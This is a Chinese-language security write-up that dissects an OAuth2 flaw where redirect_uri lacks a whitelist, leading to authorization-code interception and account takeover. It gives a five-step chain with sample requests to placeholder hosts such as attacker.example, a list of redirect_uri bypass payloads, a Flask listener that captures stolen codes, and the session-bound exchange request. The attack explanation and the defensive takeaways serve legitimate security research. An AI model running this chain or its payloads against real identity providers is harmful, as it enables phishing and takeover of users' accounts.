攻击者不需要任何账号、不需要任何认证,只发一次 POST,就能生成一条挂着 IdP 官方域名的"合法"授权链接。 受害者在这条链接上完成一次登录,授权码便落入攻击者之手——而攻击者手里,还握着把它兑换成受害者身份的钥匙。 本文以无害化验证为前提,完整拆解"redirect_uri 无白名单 → 授权码劫持 → 账号接管"的利用链,从协议原理、参数解析细节到每一步的报文证据,逐层展开。

一、OAuth2 授权码流程:redirect_uri 是信任链上的"自由变量"

OAuth2 授权码(authorization code)流程有四个角色、七个动作,先看整条时序:

拆开看每一步做了什么:

  1. 客户端发起授权请求:把用户浏览器重定向到 IdP 的GET /authorize,携带response_type=code、client_id、redirect_uri、scope(可选state);

  2. IdP 展示登录页:302 到官方登录页,用户完成认证(密码 / 扫码 / 短信);

  3. IdP 签发授权码:认证成功后,向redirect_uri发起 302 跳转,把 code 放进 query:redirect_uri?code=xxxx&state=...;

  4. 客户端用 code 换 token:客户端拿 code + 自己的client_secret调POST /token,换取 access_token;

  5. 用 token 拉取用户信息:拿 access_token 调 userinfo / 业务接口。

全流程的信任核心在第 ③ 步:授权服务器把 code 投递到哪,完全由redirect_uri决定。OAuth2 规范(RFC 6749 §3.1.2.3)要求授权服务器将redirect_uri与客户端登记的回调地址做精确匹配(scheme + host + port + path 全串比较),任何不一致都应拒绝授权请求;§4.1.3 还要求客户端在 token 请求中携带的redirect_uri与授权阶段的值一致,token 端点同样要校验。

为什么规范要求"双端都校验"?因为授权码劫持的攻防完全围绕这个参数展开:授权阶段校验失败,code 根本不会被投递到非注册地址;token 阶段校验失败,即使 code 被截获也无法兑换。任何一端失守,信任链就断了一截。

换句话说:redirect_uri是这条信任链上唯一由客户端可控、又决定凭证去向的参数。它一旦变成自由变量,code 的投递地址就是攻击者说了算——code 是换取身份的凭证,投递地址是攻击者的,身份就是攻击者的。

二、漏洞点拆解:两块拼图,一个共同根因

实战中,这类缺陷通常由两块拼图组成,缺一块都无法完整利用:

拼图 A:应用侧开放接口信任调用方输入

应用侧某个未授权的接口(例如开放平台的 SSO 登录入口POST /api/sso/index)直接信任请求体里的callback参数:既不与注册回调比对,也不限制域名后缀,仅做字符串拼接后写进服务端会话(session)。这里有一个容易被忽略的细节:callback 被写进会话,而不是只反射一次——服务端后续的 code 兑换动作会从 session 里取出这个值当 redirect_uri 用,等于"攻击者指定的回调地址被服务端持久化记住了"。

拼图 B:IdP 授权端点对 redirect_uri 只查"非空"、不查"取值"

授权端点GET /oauth2/authorize对redirect_uri只做空值检查,对其取值(主机、域名、scheme、URL 格式)不做任何白名单或解析校验,且该行为对多个互不相关的生产应用表现一致——说明是协议级漏实现,而非单个应用配置错误。

关键特征:校验的不对称。同一请求里,其他参数全被严格校验,唯独 redirect_uri 放行:

参数

非法取值

结果

redirect_uri

外部域 / 非 URL / 前缀绕过 / 明文 http

302 放行

client_id

不存在的应用 ID

400

scope

非法 scope

400

response_type

非 code

400

缺redirect_uri

—

400(说明参数确实被解析,而非忽略)

如何证明"服务端真的解析了参数、而不是整体摆烂"?就看对照组:缺redirect_uri返回 400 并明确提示"参数不能为空",非法client_id返回 400unauthorized_client,非法 scope 返回 400——如果服务端根本没解析参数,这些请求应该全部照常 302 进登录页。参数解析层正常、应用身份有校验,唯独 redirect_uri 的取值没有约束,这种不对称就是"漏实现"的最强证据。

更致命的是,redirect_uri无校验往往意味着任何基于字符串匹配的二次校验思路都会被绕过。把常见变体按类别展开看:

上表每一类的原理都值得记住:

  • 域名绕过(A 组):sso.example.edu.cn.evil.com用endsWith(".example.edu.cn")前缀匹配就会误判通过;sso.example.edu.cn-evil.com用contains("example.edu.cn")也会通过;通配符*主机则说明连主机结构都没解析;

  • URL 结构绕过(B 组):userinfo@写法下,真正的主机是@后面的evil.com,字符串匹配却可能把前面当主机;//evil.com/cb是协议相对 URL,缺失 scheme;反斜杠\@、编码斜杠%2f@在不同 URL 解析器(PHP / Java / 浏览器)下的语义各不相同,最容易产生"服务端解析 ≠ 浏览器解析"的差异;

  • 语义绕过(C 组):abc这种非 URL 串都能放行,说明压根没有做 URL 解析;CRLF 变体意味着跳转或后续拼接可能被注入响应头(若存在反射场景则升级为响应头注入)。

一个诚实的盲区要交代清楚:授权阶段 302 放行,不代表 code 签发阶段一定也放行——IdP 有可能在用户登录完成后、签发 code 前再做一次二次校验。这个盲区只有真实登录才能观测,属于利用链上唯一待确认的环节(详见第四节判定标准)。

三、五步利用链:从一行 curl 到账号接管

先看四角色(攻击者 / 受害者 / 应用侧平台 / IdP)的完整时序,再逐步骤展开细节:

第 1 步:未授权生成恶意授权链接

POST https://sso.example.edu.cn/api/sso/index
body: {"callback":"https://attacker.example/cb","state":"login"}
​
HTTP/1.1 200
Set-Cookie: PHPSESSID=abc123def456...; path=/; HttpOnly
{"code":20000,"message":"success","data":{"authorize_url":
"https://idp.example.edu.cn/oauth2/authorize?response_type=code&scope=basic&client_id=app_9f3Kx2LmPqR7sT&redirect_uri=https%3A%2F%2Fattacker.example%2Fcb%3Fstate%3Dlogin"}}

三个要点,逐一拆:

  • 无需认证:接口不对调用方做身份校验,公网任意位置可打——这是"未授权"的意义所在,攻击者不需要先拥有任何合法账号;

  • 原样反射:callback被直接拼进redirect_uri(注意响应里它被 URL 编码成了https%3A%2F%2Fattacker.example%2Fcb%3Fstate%3Dlogin,服务端做了编码但没做校验),攻击者域名成为 code 的法定投递地址;

  • 会话绑定:callback同时写入服务端会话(PHPSESSID)。这个会话必须保存好——第 5 步兑换时要带着它,服务端靠 session 记住"该用哪个 redirect_uri 去换 code"。丢掉 cookie 等于丢掉兑换钥匙。

第 2 步:确认 IdP 无白名单(对照验证)

拿到链接后,先做只读对照,确认 IdP 确实放行任意 redirect_uri——这是判定"可利用"的依据:

# 合法回调(基线,确认参数被正常解析)
GET /oauth2/authorize?response_type=code&client_id=app_9f3Kx2LmPqR7sT&scope=basic&redirect_uri=https%3A%2F%2Fsso.example.edu.cn%2Fcallback
# => 302,进入 IdP 登录页
​
# 外部域名(应该被拒,实际放行)
GET ...&redirect_uri=https%3A%2F%2Fattacker.example%2Fcb
# => 302,行为与合法基线一致
​
# 非 URL / 前缀绕过 / 明文 http,逐一确认
GET ...&redirect_uri=abc                                    # => 302
GET ...&redirect_uri=https%3A%2F%2Fsso.example.edu.cn.evil.com%2Fcb  # => 302
GET ...&redirect_uri=http%3A%2F%2Fsso.example.edu.cn%2Fcb    # => 302(明文也放行)
​
# 对照组:证明不是"整体不解析参数"
GET ...(缺 redirect_uri)      # => 400 invalid_request
GET ...&client_id=INVALID_CLIENT # => 400 unauthorized_client
GET ...&scope=bogus              # => 400 invalid_scope

几个细节:

  • 为什么"302 而不是 400"是判定关键:如果 IdP 做了白名单校验,非法 redirect_uri 应该像非法 client_id 一样返回 400invalid_request;返回 302 且与合法基线同形(同样进入 jalogin 登录页、Location 结构一致),说明该值被正常接受并写入了登录会话;

  • 注意 302 的 Location 里藏着什么:Location: .../jalogin?sid=...&client=...&returl=<加密串>&se=<加密串>——returl里就编码着本次登录成功后要回跳的地址(即攻击者的 redirect_uri)。redirect_uri 在授权请求阶段就已经被写进登录会话,后续环节是否再复核,就是前面说的盲区;

  • 进阶打法:把变体做成矩阵批量探测(外部域 / 后缀绕过 / 子域绕过 / userinfo@ / 协议相对 / 路径穿越 / 通配符主机 / 跨应用复用回调等),一次跑完 20+ 条,全部 302 即坐实协议级通病;跨应用复用(A 应用用 B 应用的回调)通过,说明连"按 client 取注册回调"这一步都没有。

第 3 步:投放钓鱼链接

把第 1 步生成的 authorize_url 投给目标用户。这一环的杀伤力在于链接是"正版"的:

  • 域名是真实的 IdP,不是仿冒域名;

  • 落地是 IdP 官方登录页,密码 / 扫码 / 短信登录、图形验证码一应俱全,与正常登录毫无二致;

  • 用户在这条链接上做的每一步都是"正常操作",无任何可疑迹象。

攻击者不需要破解验证码、不需要绕过任何东西——验证码与二次验证由受害者自己完成,攻击者只等 code 上门。整个投放环节,攻击者的唯一成本就是一次诱导点击。

第 4 步:接收授权码

在攻击者域名上部署一个最小的回调服务,等 302 带 code 上门:

from flask import Flask, request
​
app = Flask(__name__)
​
@app.get("/cb")
def cb():
code = request.args.get("code")
state = request.args.get("state")
print(f"[+] intercepted code={code} state={state}")
return "ok", 200
​
app.run(host="0.0.0.0", port=443)  # 需有对应域名证书

细节:

  • 回调服务必须跑在 HTTPS上(带对应域名的证书),否则部分 IdP 或浏览器会拦截混合内容跳转;

  • 收到 code 后要立即自动进入第 5 步兑换:authorization code 时效很短(通常几十秒到几分钟),且一次性使用,人工中转会错过窗口;

  • 把收到的code与state落盘记录,方便事后核对攻击时序与受害者登录时刻;

  • 到此,授权码劫持已经完成——即使攻击者什么都不做,一个有效的 code 已经泄露到外部域,这本身就构成授权码泄露。

第 5 步:同一会话完成兑换(关键一步)

攻击者用第 1 步保存的 PHPSESSID 调应用侧的登录接口,把 code 交给服务端:

POST https://sso.example.edu.cn/api/sso/login
Cookie: PHPSESSID=abc123def456...
body: {"code":"<受害者的code>","state":"login"}

机制细节:

  • 攻击者全程不需要知道 client_secret——这是利用链能成立的关键:兑换动作由服务端代劳(服务端持有自己的 secret),攻击者只提供"该用哪个会话的 redirect_uri + 哪个 code";

  • session 是绑定纽带:服务端从 PHPSESSID 对应的 session 里取出第 1 步写入的callback(= 攻击者域名),作为 redirect_uri 连同 code 一起提交给 IdP token 端点。没有这个会话,服务端根本不知道用哪个 redirect_uri,兑换无从谈起——这就是为什么第 1 步的 cookie 必须配对保存;

  • 错误回显是调试 oracle:如果服务端把上游 token 端点的原始错误逐字回显(如Client error: POST /oauth2/token resulted in ...),攻击者可以据此精确判定自己的参数有没有被正确带入,大幅降低调参成本。

无真实 code 时如何验证第 5 步的机制?用一个假 code 做差分:

# 带第 1 步会话(session 里有攻击者的 redirect_uri)
POST /api/sso/login {"code":"dummy"}
# => 错误:authorization code invalid or expired(redirect_uri 已随 code 提交给 token 端点)
​
# 不带会话(新会话,无 redirect_uri 可用)
POST /api/sso/login {"code":"dummy"}
# => 错误:Missing parameters: redirect_uri

两次请求只差一个会话 cookie,错误从"缺 redirect_uri"变成"code 无效"——证明攻击者指定的 redirect_uri 确实被服务端带入了 token 交换,机制闭环。

为什么 state 救不了这场?state是 OAuth2 用来防 CSRF 的关联参数,本应"服务端生成随机值 → 绑定会话 → 回跳时校验一致"。但这个场景里 state 通常由调用方(攻击者)任意指定,服务端既不生成也不校验,只是原样拼进 redirect_uri 的 query——它既不能阻止授权码被投递到攻击者域,也不能防止登录劫持。前端checkParams读到state后直接丢弃,属于"前端校验替代服务端校验"的典型翻车。

四、利用成功的判定标准

  1. 第 2 步对照:外部域 redirect_uri → 302(无白名单)

  2. 第 5 步差分:同会话报"code 无效"而非"缺 redirect_uri"(attacker 值被带入交换)

  3. (可选,需自有测试账号)真实登录一次:code 落到攻击者域 + 兑换返回受害者身份对象

第 3 条需要一次真实登录才能观测,且按无害化原则只能用自己的测试账号完成。结果分三种:

  • code 成功跳转到攻击者域,且兑换成功 → 完整账号接管(最坏情况,可横向进入信任 IdP 的全部业务系统);

  • code 跳转到攻击者域,但 token 端点二次校验拦截了兑换(报 redirect_uri mismatch)→ 授权码泄露 + 钓鱼放大器(危害降一档,但仍属高危缺陷);

  • 登录后 code 未跳外部域(code 签发阶段复核)→ 授权阶段缺陷被兜底,仅剩钓鱼面。

这也决定了本类漏洞的完整影响需要一次用户交互才能闭环,报告定级时务必如实交代到哪一步。

五、危害与影响

维度

评估

利用门槛

极低:无认证、无账号、无交互式探测,一次 POST 生成链接

交互要求

一次受害者点击 + 一次真实登录(钓鱼形态不可避免)

影响面

IdP 级缺陷时,所有登记应用均受影响;统一身份被接管后可横向进入信任它的全部业务系统

隐蔽性

链接域名与登录页均为正版,识别难度趋近于零

附加风险

明文 http 回调被接受时,授权码存在明文传输风险(需中间人条件)

按漏洞分类,这是授权码劫持(Authorization Code Interception)→ 账号接管:code 是换取用户身份的凭证,落到攻击者域即身份失守;若兑换环节一并失守(服务端用攻击者会话代换),就是完整接管。

六、小结

OAuth2 的本质是一条信任链:客户端信任 IdP 的认证结果,IdP 信任客户端登记的回调地址。而redirect_uri是这条链上唯一"客户端可控、又决定凭证去向"的参数——当它变成自由变量,信任链就从这里断了。

这个漏洞最值得记住的,是一个普遍的认知盲区:

校验"参数存在" ≠ 校验"参数取值"。

空值检查是最容易写、也最容易让人误以为"校验过了"的代码。缺参会报错、非法 client 会报错、非法 scope 会报错——这些"严格"让开发者误以为整条参数链都被管住了,唯独漏掉了安全权重最高的那个参数。审计任何 OAuth 实现时,请多问一句:"这个参数不仅非空,它的取值在服务端有约束吗?"

而所有统一身份体系的运维者请记住另一句:一个授权码就是一把万能钥匙。当攻击者能让用户在"正版登录页"上把钥匙交到自己手里时,一次点击的代价,可能是一整个体系的账号失守。